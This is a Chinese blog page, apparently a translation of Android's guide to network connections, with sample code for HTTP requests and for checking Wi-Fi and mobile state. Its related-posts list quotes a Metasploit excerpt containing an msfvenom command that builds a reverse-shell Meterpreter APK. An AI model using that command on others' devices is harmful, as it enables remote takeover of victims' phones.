android 关于连接到网络的知识

Android多网络环境(wifi,mobile)下强制在某个网络(mobile)访问服务端以及适配 在wifi和移动数据网络同时开启之下,现在需要wifi开着的情况下,强制通过移动数据网络发送网络请求,以及在机型和低版本适配。 阅读详情

声明:本文主要是参考 android官方API说明文档来的。

本课程主要介绍了如何连接网络,如何监控网络连接(包括网络连接的更改),还介绍了如何让用户控制网络使用率。同时也介绍了如何解析和使用XML数据。

通过本课程的学习,你将能够创建高效的网络使用率(在下载内容和解析数据的时候)的Android程序,能够最大限度的减少网络流量。

-------------------------------------------------------------------------

一、连接到网络

本节通过讲述一个简单的程序来阐述Android的网络连接。它讲述了网络连接的最佳实践,在你创建简单的网络连接时应该遵循。

请注意,执行本节课所描述的网络操作,应用程序清单必须包括下列权限:

<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
①选择HTTP Client

大多数Android程序的网络连接使用HTTP来接收和发送数据。Android包括两个HTTP 客户端:HttpURLConnection和Apache 的 HttpClient。这个两个客户端都支持HTTPS、流媒体上传和下载、配置超时时间、IPv6和连接池(connection pooling)。我们(官方)推荐在android 2.3和更高版本中使用HttpURLConnection。

②检查网络连接

在你的app尝试连接网络前,app应该使用getActiveNetworkInfo() 和isConnected()检测网络连接是否可用。需要注意,用户的设备可能离开了网络连接范围或者用户关闭了WI-FI和移动数据连接。更多关于网络连接的内容请查看: Managing Network Usage

public void myClickHandler(View view) {
    ...
    ConnectivityManager connMgr = (ConnectivityManager) 
        getSystemService(Context.CONNECTIVITY_SERVICE);
    NetworkInfo networkInfo = connMgr.getActiveNetworkInfo();
    if (networkInfo != null && networkInfo.isConnected()) {
        // 联网取得数据
    } else {
        //显示网络连接错误
    }
    ...
}
③在单独的线程中执行网络操作

为了提高用户体验,网络操作需要在单独的线程中进行(不能在UI线程中)。异步任务 AsyncTask类提供了一个简单的方法来在UI线程外生成一个新的线程(任务)。

在下面的例子中,myClickHandler()方法提供了new DownloadWebpageTask().execute(stringUrl).    DownloadWebpageTask     是AsyncTask的子类 DownloadWebpageTask   实现了AsyncTask中的几个方法:

doInBackground() 方法执行 downloadUrl()       ,这个方法来根据URL下载web页面需要的数据,当执行完后返回一个字符串。

     onPostExecute()    获得字符串结果,并把它显示到UI上。

public class HttpExampleActivity extends Activity {
    private static final String DEBUG_TAG = "HttpExample";
    private EditText urlText;
    private TextView textView;
    
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.main);   
        urlText = (EditText) findViewById(R.id.myUrl);
        textView = (TextView) findViewById(R.id.myText);
    }

    // When user clicks button, calls AsyncTask.
    // Before attempting to fetch the URL, makes sure that there is a network connection.
    public void myClickHandler(View view) {
        // Gets the URL from the UI's text field.
        String stringUrl = urlText.getText().toString();
        ConnectivityManager connMgr = (ConnectivityManager) 
            getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo networkInfo = connMgr.getActiveNetworkInfo();
        if (networkInfo != null && networkInfo.isConnected()) {
            new DownloadWebpageTask().execute(stringUrl);
        } else {
            textView.setText("No network connection available.");
        }
    }

     // Uses AsyncTask to create a task away from the main UI thread. This task takes a 
     // URL string and uses it to create an HttpUrlConnection. Once the connection
     // has been established, the AsyncTask downloads the contents of the webpage as
     // an InputStream. Finally, the InputStream is converted into a string, which is
     // displayed in the UI by the AsyncTask's onPostExecute method.
     private class DownloadWebpageTask extends AsyncTask<String, Void, String> {
        @Override
        protected String doInBackground(String... urls) {
              
            // params comes from the execute() call: params[0] is the url.
            try {
                return downloadUrl(urls[0]);
            } catch (IOException e) {
                return "Unable to retrieve web page. URL may be invalid.";
            }
        }
        // onPostExecute displays the results of the AsyncTask.
        @Override
        protected void onPostExecute(String result) {
            textView.setText(result);
       }
    }
    ...
}

④连接和下载数据

在异步线程中进行网络操作,你可以用HttpURLConnection  来执行GET 操作来下载数据。等调用connect()  方法后,你就可以调用getInputStream()  方法来获得下载数据的InputStream  。

在下面的代码片段中,在doInBackground()  方法中调用downloadUrl()  方法。downloadUrl() 方法使用指定的URL通过HttpURLConnection  来连接网络。一旦连接建立,app调用getInputStream()  来接受数据的InputStream  。

// Given a URL, establishes an HttpUrlConnection and retrieves
// the web page content as a InputStream, which it returns as
// a string.
private String downloadUrl(String myurl) throws IOException {
    InputStream is = null;
    // Only display the first 500 characters of the retrieved
    // web page content.
    int len = 500;
        
    try {
        URL url = new URL(myurl);
        HttpURLConnection conn = (HttpURLConnection) url.openConnection();
        conn.setReadTimeout(10000 /* milliseconds */);
        conn.setConnectTimeout(15000 /* milliseconds */);
        conn.setRequestMethod("GET");
        conn.setDoInput(true);
        // Starts the query
        conn.connect();
        int response = conn.getResponseCode();
        Log.d(DEBUG_TAG, "The response is: " + response);
        is = conn.getInputStream();

        // Convert the InputStream into a string
        String contentAsString = readIt(is, len);
        return contentAsString;
        
    // Makes sure that the InputStream is closed after the app is
    // finished using it.
    } finally {
        if (is != null) {
            is.close();
        } 
    }
}
需要注意的是   getResponseCode()  方法返回网络连接的 status code  (状态码),这个是非常有用的,通过这个返回的状态码,能够获得连接的附加信息。比如 状态码为 200带表连接成功,服务器应答成功。

⑤将InputStream 转换成String

一个InputStream 是一个可读的bytes。一旦你得到一个InputStream ,  通常就是把它解码或者转换成目标数据类型。例如,你正在下载图片,你可以解码并把它显示出来,如下:

InputStream is = null;
...
Bitmap bitmap = BitmapFactory.decodeStream(is);
ImageView imageView = (ImageView) findViewById(R.id.image_view);
imageView.setImageBitmap(bitmap);
在上面的例子中, InputStream  代表web页面的text类型数据。下面的代码展示了怎么转换   InputStream  成字符串来让activity在UI线程中显示。

// Reads an InputStream and converts it to a String.
public String readIt(InputStream stream, int len) throws IOException, UnsupportedEncodingException {
    Reader reader = null;
    reader = new InputStreamReader(stream, "UTF-8");        
    char[] buffer = new char[len];
    reader.read(buffer);
    return new String(buffer);
}
二、管理网络连接

这个主要是介绍如何控制网络资源的使用。如果您的应用程序执行大量的网络操作,你应该提供一个网络设置来让使用者控制程序应该怎么使用网络。比如,你的程序同步数据的频率、是否只在wi-fi下来上传/下载数据、当处于漫游状态时怎么来使用网络数据,等等。当提供这些设置后,使用者就不太可能会禁用你的程序的后台数据连接当使用者

的数据流量不充足时。因为使用者能够通过设置来精确的控制你的程序对网络数据的使用。

①检测设备的网络连接

设备有很多种网络连接类型。本教程主要关注是否是 wi-fi和移动网络连接。要查看所有网络连接类型请查看ConnectivityManager

Wi-Fi连接通常更快速,移动网络通常是昂贵的,并且是限量的,通常情况下应该在Wi-Fi网络情况下进行大数据的网络传输。

当要执行网络操作时,最好进行网络状态的检测。在执行网络操作时进行网络状态检测,能够让你的程序避免得到错误的结果,并且能够省电。如果网络连接不可用,你的程序应该优雅的响应。检测网络状态通常用到下面几个类:

ConnectivityManager  :回答了关于网络连接的状态查询。它还通知应用程序时的网络连接的变化。

NetworkInfo  :描述网络连接类型,目前只有两种(Wi-Fi或者移动网络)。

这段代码的测试网络连通性的Wi-Fi和移动。它确定这些网络接口是否可用(即,网络连接是否是可能的)或连接(即,网络连接是否存在以及是否有可能建立套接字和数据传递):

private static final String DEBUG_TAG = "NetworkStatusExample";
...      
ConnectivityManager connMgr = (ConnectivityManager) 
        getSystemService(Context.CONNECTIVITY_SERVICE);
NetworkInfo networkInfo = connMgr.getNetworkInfo(ConnectivityManager.TYPE_WIFI); 
boolean isWifiConn = networkInfo.isConnected();
networkInfo = connMgr.getNetworkInfo(ConnectivityManager.TYPE_MOBILE);
boolean isMobileConn = networkInfo.isConnected();
Log.d(DEBUG_TAG, "Wifi connected: " + isWifiConn);
Log.d(DEBUG_TAG, "Mobile connected: " + isMobileConn);
也可以这么写:

private void updateConnectedFlags() {
		ConnectivityManager connMgr = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);

		NetworkInfo activeInfo = connMgr.getActiveNetworkInfo();
		if (activeInfo != null && activeInfo.isConnected()) {
			wifiConnected = activeInfo.getType() == ConnectivityManager.TYPE_WIFI;
			mobileConnected = activeInfo.getType() == ConnectivityManager.TYPE_MOBILE;
		} else {
			wifiConnected = false;
			mobileConnected = false;
		}
	}

需要注意的是,在执行网络操作之前,你不能只是检测网络连接是否存在,还应该检测连接是否可用(能够连接进行数据传输) isConnected()   ,因为 isConnected() 后能够排除飞行模式、受限的后台数据连接情况。

检测网络是否可用的一个简单方法如下。该方法getActiveNetworkInfo() 该方法返回  NetworkInfo     表示一个网络连接的接口,或者返回null(如果没有网络接口,即网络连接不可用)。

public boolean isOnline() {
    ConnectivityManager connMgr = (ConnectivityManager) 
            getSystemService(Context.CONNECTIVITY_SERVICE);
    NetworkInfo networkInfo = connMgr.getActiveNetworkInfo();
    return (networkInfo != null && networkInfo.isConnected());
}  
若要查询更细粒度的状态,你可以使用 NetworkInfo.DetailedState,但是这应该很少使用的。

②管理网络使用

你可以实现一个偏好设置activity,让用户显式控制网络资源的应用程序的使用情况。例如:

  • 你可能会允许用户上传视频,只有当设备连接到Wi-Fi网络。
  • 你可能同步(或不),这取决于特定的标准,例如网络可用性,时间间隔,等等。

要编写一个支持网络访问和管理网络使用的应用程序,你的manifest文件中必须有正确的权限和意图过滤器。 

要在mainifest中声明如下权限:

在mainifest中声明意图过滤器如下:

有网络设置的activity要声明action为ACTION_MANAGE_NETWORK_USAGE ,声明了这个后,能够在系统的后台数据设置那里 打开activity。   本示例中的activity是 SettingsActivity 。如下:

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.android.networkusage"
    ...>

    <uses-sdk android:minSdkVersion="4" 
           android:targetSdkVersion="14" />
        
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />

    <application
        ...>
        ...
        <activity android:label="SettingsActivity" android:name=".SettingsActivity">
             <intent-filter>
                <action android:name="android.intent.action.MANAGE_NETWORK_USAGE" />
                <category android:name="android.intent.category.DEFAULT" />
          </intent-filter>
        </activity>
    </application>
</manifest>

  SettingsActivity 是  PreferenceActivity 的子类, 能够让用户进行如下设置:

  • 是否显示每一个XML feed条目的摘要或者只是显示条目的连接。
  • 是否只是在Wi-Fi下载XML提要,或者在Wi-Fi和移动网络下都可以下载。
Preferences panelSetting a network preference

 

下面是SettingsActivity   的实现,需要注意的是,它实现了 OnSharedPreferenceChangeListener 接口,当用户改变设置的时候会回调这个接口来设置refreshDisplay  为true。这将导致当用户再次回到 main activity的时候来刷新页面。

public class SettingsActivity extends PreferenceActivity implements OnSharedPreferenceChangeListener {
    
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        // Loads the XML preferences file
        addPreferencesFromResource(R.xml.preferences);
    }
  
    @Override
    protected void onResume() {
        super.onResume();

        // Registers a listener whenever a key changes            
        getPreferenceScreen().getSharedPreferences().registerOnSharedPreferenceChangeListener(this);
    }
  
    @Override
    protected void onPause() {
        super.onPause();

       // Unregisters the listener set in onResume().
       // It's best practice to unregister listeners when your app isn't using them to cut down on 
       // unnecessary system overhead. You do this in onPause().            
       getPreferenceScreen().getSharedPreferences().unregisterOnSharedPreferenceChangeListener(this);    
    }
  
    // When the user changes the preferences selection, 
    // onSharedPreferenceChanged() restarts the main activity as a new
    // task. Sets the refreshDisplay flag to "true" to indicate that
    // the main activity should update its display.
    // The main activity queries the PreferenceManager to get the latest settings.
    
    @Override
    public void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key) {    
        // Sets refreshDisplay to true so that when the user returns to the main
        // activity, the display refreshes to reflect the new settings.
        NetworkActivity.refreshDisplay = true;
    }
}

接下来就讲述如何相应用户的设置,当用户在设置页改变了设置后,通常就会影响程序的行为。在下面代码片段中程序会在onStart() 方法中检测设置的改变 。如果用户设置项和当前设备网络连接状态相匹配,程序会根据用户的设置来下载XML和刷新显示。

public class NetworkActivity extends Activity {
    public static final String WIFI = "Wi-Fi";
    public static final String ANY = "Any";
    private static final String URL = "http://stackoverflow.com/feeds/tag?tagnames=android&sort=newest";
   
    // Whether there is a Wi-Fi connection.
    private static boolean wifiConnected = false; 
    // Whether there is a mobile connection.
    private static boolean mobileConnected = false;
    // Whether the display should be refreshed.
    public static boolean refreshDisplay = true;
    
    // The user's current network preference setting.
    public static String sPref = null;
    
    // The BroadcastReceiver that tracks network connectivity changes.
    private NetworkReceiver receiver = new NetworkReceiver();
    
    @Override
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        
        // Registers BroadcastReceiver to track network connection changes.
        IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
        receiver = new NetworkReceiver();
        this.registerReceiver(receiver, filter);
    }
    
    @Override 
    public void onDestroy() {
        super.onDestroy();
        // Unregisters BroadcastReceiver when app is destroyed.
        if (receiver != null) {
            this.unregisterReceiver(receiver);
        }
    }
    
    // Refreshes the display if the network connection and the
    // pref settings allow it.
    
    @Override
    public void onStart () {
        super.onStart();  
        
        // Gets the user's network preference settings
        SharedPreferences sharedPrefs = PreferenceManager.getDefaultSharedPreferences(this);
        
        // Retrieves a string value for the preferences. The second parameter
        // is the default value to use if a preference value is not found.
        sPref = sharedPrefs.getString("listPref", "Wi-Fi");

        updateConnectedFlags(); 
       
        if(refreshDisplay){
            loadPage();    
        }
    }
    
    // Checks the network connection and sets the wifiConnected and mobileConnected
    // variables accordingly. 
    public void updateConnectedFlags() {
        ConnectivityManager connMgr = (ConnectivityManager) 
                getSystemService(Context.CONNECTIVITY_SERVICE);
        
        NetworkInfo activeInfo = connMgr.getActiveNetworkInfo();
        if (activeInfo != null && activeInfo.isConnected()) {
            wifiConnected = activeInfo.getType() == ConnectivityManager.TYPE_WIFI;
            mobileConnected = activeInfo.getType() == ConnectivityManager.TYPE_MOBILE;
        } else {
            wifiConnected = false;
            mobileConnected = false;
        }  
    }
      
    // Uses AsyncTask subclass to download the XML feed from stackoverflow.com.
    public void loadPage() {
        if (((sPref.equals(ANY)) && (wifiConnected || mobileConnected))
                || ((sPref.equals(WIFI)) && (wifiConnected))) {
            // AsyncTask subclass
            new DownloadXmlTask().execute(URL);
        } else {
            showErrorPage();
        }
    }
...
    
}

③监听设备网络连接的改变

最后一块要讲的是BroadcastReceiver 的子类NetworkReceiver    当设备网络连接改变后,系统会发送广播,NetworkReceiver  会拦截action为 CONNECTIVITY_ACTION  的广播(就是设备网络连接变化的广播),来获得当前的网络连接是什么状态,相应的改变wifiConnected 和mobileConnected  标志为true或者false,并根据用户的设置来标记NetworkActivity.refreshDisplay 为true或这false,当用户再次回到程序的时候,能够更新显示内容。

建立不必要的BrodcastReceiver会消耗系统资源该实例中,示例中的NetworkReceiver  在 onCreate() 方法中进行 注册,在onDestroy() 方法中接触注册。它比在manifest中声明的更轻巧,如果在manifest中声明BroadcastReceiver,它会在任何必要的时候唤醒你的应用程序,即使你的程序没有启动,通过在activity的onCreate() 中注册,在 onDestroy() 解除注册,可以确保程序不会在用户离开后被唤醒。如果确实需要在manifest中通过<receiver>标签来声明BroadcastReceiver,你可以调用setComponentEnabledSetting() 方法来启用或者禁用它。

 NetworkReceiver 的代码实现:

public class NetworkReceiver extends BroadcastReceiver {   
      
@Override
public void onReceive(Context context, Intent intent) {
    ConnectivityManager conn =  (ConnectivityManager)
        context.getSystemService(Context.CONNECTIVITY_SERVICE);
    NetworkInfo networkInfo = conn.getActiveNetworkInfo();
       
    // Checks the user prefs and the network connection. Based on the result, decides whether
    // to refresh the display or keep the current display.
    // If the userpref is Wi-Fi only, checks to see if the device has a Wi-Fi connection.
    if (WIFI.equals(sPref) && networkInfo != null && networkInfo.getType() == ConnectivityManager.TYPE_WIFI) {
        // If device has its Wi-Fi connection, sets refreshDisplay
        // to true. This causes the display to be refreshed when the user
        // returns to the app.
        refreshDisplay = true;
        Toast.makeText(context, R.string.wifi_connected, Toast.LENGTH_SHORT).show();

    // If the setting is ANY network and there is a network connection
    // (which by process of elimination would be mobile), sets refreshDisplay to true.
    } else if (ANY.equals(sPref) && networkInfo != null) {
        refreshDisplay = true;
                 
    // Otherwise, the app can't download content--either because there is no network
    // connection (mobile or Wi-Fi), or because the pref setting is WIFI, and there 
    // is no Wi-Fi connection.
    // Sets refreshDisplay to false.
    } else {
        refreshDisplay = false;
        Toast.makeText(context, R.string.lost_connection, Toast.LENGTH_SHORT).show();
    }
}









  

















安卓学习笔记40:基于套接字网络编程 1. 了解基于套接字网络有两种传输模式; 2. 掌握基于TCP/IP协议的套接字网络编程 阅读详情

相关推荐

Android网络请求指定WiFi或者4G

Android网络请求,存在多网络的情况下(比如同时开启了移动网络和WiFi),网络请求优先走WiFi,如果想强制切换网络,看代码里面即可

Android 指定有线网或Wifi进行网络请求

有些场景需要指定特定的网络进行通讯;比如Wifi 和有线网同开的设备,指定某个网络进行通讯;或者某些指定网络进行通讯的场景。最近刚好开发了Wifi 和有线网同开同联的需求,顺便提分享特定网络请求的代码。

wenzhi的博客 2719

PPT太丑?用InDesign制作电影级的交互式在线演示文档

本文旨在解决传统演示软件(如PowerPoint、Keynote)在制作商业提案、设计报告时,普遍存在的模板化严重、视觉表现力不足、动态效果廉价的核心痛点。我们将介绍一套常被设计师们“误解”或“忽略”的“降维打击”工作流,核心是利用印刷排版软件 Adobe InDesign 强大的版式控制、动画与交互功能,来创建电影级的动态演示文稿,并通过其 在线发布 (Publish Online) 功能,一键生成可在任何浏览器中流畅访问的网页版交互式文档,从而极大地提升提案的专业度与视觉冲击力。

Kingsdesigner的博客 1281

Android 网络配置

adb rootadb shell改变网卡网址添加虚拟网卡以上的命令就可以在eth0网卡上创建一个叫eth0:0的虚拟网卡,他的地址是:192.168.10.10删除虚拟网卡ip route 查看路由表的内容。

iffy 2568

Kappa函数:测量一致性并计算置信区间的R语言包

Kappa函数是一种常用的统计量,用于衡量两个评估者之间的一致性。在R语言中,有一个名为"vcd"的包提供了计算Kappa函数以及相应的置信区间的功能。本文将介绍如何使用"vcd"包来计算Kappa函数的值,并进一步计算置信区间。Kappa函数的值介于-1和1之间,值越接近1表示评估者之间的一致性越高,值越接近-1表示评估者之间的一致性越低,值接近0表示评估者之间的一致性接近于随机。通过以上步骤,我们成功地使用R语言中的"vcd"包计算了Kappa函数的值和置信区间。接下来,我们可以使用"vcd"包中的。

2301_79331230的博客 1875

HFSS实战项目——GPS北斗双模微带天线

本文设计了一款方形圆极化微带天线应用于北斗B1和GPSL1频段,满足高增益、低VSWR、适当方向图等要求。设计中心频率为1568MHz,介质板采用厚度h=1.6mm的Arlon AD450(tm)板,相对介电常数为4.5,采用探针馈电。

2401_87464239的博客 1768

安卓系统中使用指定网络通讯

安卓系统在5.0以后就可以同时使用多种网络连接通讯比如,wifi&4G&vpn等同时使用通讯。 在连接4G和WIFI网络的情况下有些系统中判断当前wifi不能联网时会主动切到4G通讯。因工作中需要使用wifi(智能硬件)通讯,所以只能强制切换到wifi通讯。 Network...

chuowan1979的博客 654

构网型逆变器下垂控制与电流限幅策略研究:理论、仿真与代码实现

随着分布式发电和微电网技术的快速发展,构网型(Grid-Forming, GFM)逆变器因其能够自主建立电压和频率参考、支撑弱电网及孤岛运行而受到广泛关注。本文提出并实现了一种基于下垂控制的构网型逆变器控制策略,将逆变器等效为受控电压源,通过L型滤波器接入配电网。在公共耦合点(PCC)处实时测量三相电压和电流,计算有功和无功功率,进而采用P-w和Q-V下垂控制生成内部频率和电压幅值,合成三相参考电压。针对故障情况下过电流问题,设计了一种自适应电流限幅模块:当电流幅值超过设定上限时,动态降低电压参考系数k_s

huanghm88的专栏 156

android—给app指定网络接口原理分析

java层利用JNI和C库进行交互 android支持多种网络类型(WAN口),例如WIFI、3G等。目前android的实现是,WIFI和3G只能同时存在一个(优先级),例如当WIFI连接后,数据通路就从3G切换到WIFI。对上层app而言,这时候数据通路也就从3G切换到WIFI上。 考虑一个特殊的需求,某app只能通过WIFI接口去传输数据,是否可以实现?较新版本的andro

lyf's blog 1万+

已解决“TimeouEror [WinEror 10060由于连接方在一段时间后没有正确答复 或连接的主机没有反应,连接尝试失败“,亲测有效!!!

已解决"TimeouEror [WinEror 10060由于连接方在一段时间后没有正确答复 或连接的主机没有反应,连接尝试失败",亲测有效!!!

wbajsjhhhhh的博客 1万+

手把手教你用git上传项目到GitHub(图文并茂,这一篇就够了),相信你一定能成功!!

GitHub是基于git实现的代码托管。git是目前最好用的版本控制系统了,非常受欢迎,比之svn更好。 GitHub可以免费使用,并且快速稳定。即使是付费帐户,每个月不超过10美刀的费用也非常便宜。 利用GitHub,你可以将项目存档,与其他人分享交流,并让其他开发者帮助你一起完成这个项目。优点在于,他支持多人共同完成一个项目,因此你们可以在同一页面对话交流。 创建自己的项目,并备份,代码不需要保存在本地或者服务器,GitHub做得非常理想。 学习Git也有很多好处。他被视为一个预先维护过程,你可以按自己

左手の明天的博客 3万+

Kali 2020:用Metasploit实验入侵自己的安卓手机

目标:使用Kali里的Metasploit远程控制自己的安卓手机 (先写个大体的流程,改天做成详细教程。仅限于对自己的手机做实验,请勿用于非法行为) 一:生产apk安卓应用 1,使用msfvenom生成一个预设定向连接kali主机的apk安卓应用。 msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.12 lport=4444 R > t.apk 2,使用zipzlign对apk进行对齐 zipalign -v 4 t.apk tz

askos的博客 1万+

华为海思:大小海思的双轮驱动战略分析

大海思的定位清晰明确,即专注于为华为内部提供高性能、高集成度的芯片解决方案,以支持华为终端、服务器等业务的快速发展。小海思的产品线广泛,涵盖了广域物联、短距物联、手机穿戴、显示交互、智慧视觉、智慧媒体、MCU、模拟以及光模块等多个领域。通过提供多样化的芯片解决方案,小海思旨在满足外部客户的不同需求,拓展华为海思在芯片市场的份额和影响力。大海思的产品布局主要围绕华为的内部需求展开。在智能手机应用处理器方面,大海思的麒麟系列芯片已经成为华为手机的标志性产品,以其出色的性能和能效比赢得了市场的广泛认可。

dream it possible 2924

java 安卓 物联网_Android 物联网socket通信采坑

1.背景 本身要实现一个简单的物联网App,硬件设备开启局域网wifi,手机连接WIFI后进行TCP通信,但就这么简单的应用却遇到坑了,在这里记录一下;2.问题在测试硬件设备串口WIFI功能时遇到了奇怪的现象,在上图中设备以AP模式开启Wifi,客户端设备断开其他网络通道(手机关闭数据流量、PC拔掉网线)后连接此wifi,结果除PC端连接正常外,移动设备(ios与Android)都出现了TCP连接...

weixin_42561464的博客 1061

流媒体之LL-HLS 低延时HLS协议

LL-HLS协议通过扩展了HLS协议,为实时直播场景提供了更丰富的功能,如延迟控制、播放列表增量更新、阻止播放列表重新加载等。同时客户端可以更灵活地控制播放列表的加载和播放,以适应各种场景和需求。LL-HLS在直播中的延时可以控制在3s内, 但是即使这样, 还是不如RTMP, RTSP等协议的实时性。

技术控的笔记 3366

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

5款安卓神器方便连接到网络存储

安卓可以很好地处理网络。它可以很容易地连接到你公司网络上的各种服务……包括你的存储。当然,几乎所有主流NAS制造商都为自己的设备提供了一款应用,但是那些正在寻找更加通用的(或者内部的)解决方案的人呢?所幸的是,安卓在这方面也有大量的工具。 我寻找并且测试了一下,发现有5款方便的存储甚至是NAS就绪的工具支持安卓平台。有了这些工具,你应该就可以连接到来自...

weixin_33872566的博客 1万+

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Android详细开发教程,本文章将带你更深入的学习安卓开发

安卓开发是一项充满挑战和乐趣的技能,它可以让你创建各种类型的移动应用,从简单的工具到复杂的游戏,本文章将为你提供一个详细的学习路线,参考内容,应用场景,实用案例及代码示例,以及一些优秀的GitHub开源项目,帮助你深入掌握安卓开发!

HSX的博客 4720

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

安卓网络知识

安卓网络知识

weixin_35809980的博客 287

Android中关于网络的一些知识点

做Android开发的,免不了要使用到网络,这就经常需要用到一些网络相关的知识点,以前也没注意统计保存,时间久了有些知识就会忘,最近项目需要用到这些知识点,又花了一些时间学习,所以是时候记录一下以保存自己的学习成果了,免得每次用到都学习一次。上面方法只能判断是否有可用的活动网络,比如这个sim卡的数据开关是打开的,或者wifi是连上了的,但是能不能真正访问到互联网是不知道。经测试,在小米手机上是OK的,当连接上一个没插网线的wifi时它返回false,连接一个有网的wifi时,它返回true。

2401_89693641的博客 1282

安卓Android入门

Android基于Linux内核,这使得它具有强大的硬件兼容性和稳定性。

m0_74154295的博客 2279

Android开发知识点总结合集

自定义View是安卓中的一个重要技术,可以实现灵活的UI界面。自定义View需要了解View的测量、布局和绘制流程,以及Canvas、Paint等相关知识。自定义View的属性 编写attr.xml文件在layout布局文件中引用,同时引用命名空间在View的构造方法中获得我们自定义的属性 ,在自定义控件中进行读取(构造方法拿到attr.xml文件值)重写onMesure重写onDrawonLayout()onDraw()。

2301_81193552的博客 2533

Android Studio 通过网络方式调试手机,安卓设置

一、环境设置 1、安卓设备以太网进行网络设置,包括IP地址、网关等(必须同连接的网络为同网段;可参考电脑IPV4的属性,设置的IP地址为非占用的IP) 2、连接方式通过有线网络连接需要测试的安卓设备 二、具体代码 安卓项目实现如下代码即可(此方法不需要设备进行ROOT权限): Runtime mRuntime = Runtime.getRuntime(); ...

Alee的博客 4432

Android系统连接到WIFI网络,如何在android中连接到无线网络?

要连接到实施以下步骤所需的WiFi AP:>扫描WiFi确保您有适当的AP.请记住,您必须为安全的AP提供密码.假设您知道自己喜欢的女巫AP,现在我们将采取其他措施:>创建新的个人资料我们需要支持以下信息:应该是什么类型的AP:???????????????????????????????开放点,???????????????????????????????WEP,??????????...

weixin_39939276的博客 460

安卓网络编程——HttpURLConnection

部分案例需要一定的XML和JSON解析知识 https://blog.youkuaiyun.com/nishigesb123/article/details/89190973 Socket、TCP、HTTP等等概念搞不清区别的可以先走下面的链接(好像也是转的,不过贴的几张图很好) https://www.cnblogs.com/merray/p/7918977.html 暂时不涉及Socket部分的内...

旧日灯塔 2553

学 android需要什么基础,学习安卓开发需要什么基础?

学习程序开发一般都需要懂一些一定的C语言,现在大学里面和计算机相关的专业甚至理工类专业一般都会开设C语言课程。当然学习安卓程序开发除了懂C语言之外,还需要掌握一定的Java基础知识、Linux基础知识、数据库基础知识、网络协议、安卓基础知识、服务器端开发知识。①Java基础知识安卓应用程序开发是以Java语言为基础的,没有扎实的Java基础知识,只是机械的照抄别人的代码,是没有任何意义的。很多朋友...

weixin_33046983的博客 2616
上一篇: <转>Android ListAdapter的高级功能
下一篇: android 关于网络连接之传输数据节省电量1
恶魔果实
博客等级 码龄15年 6粉丝 13原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值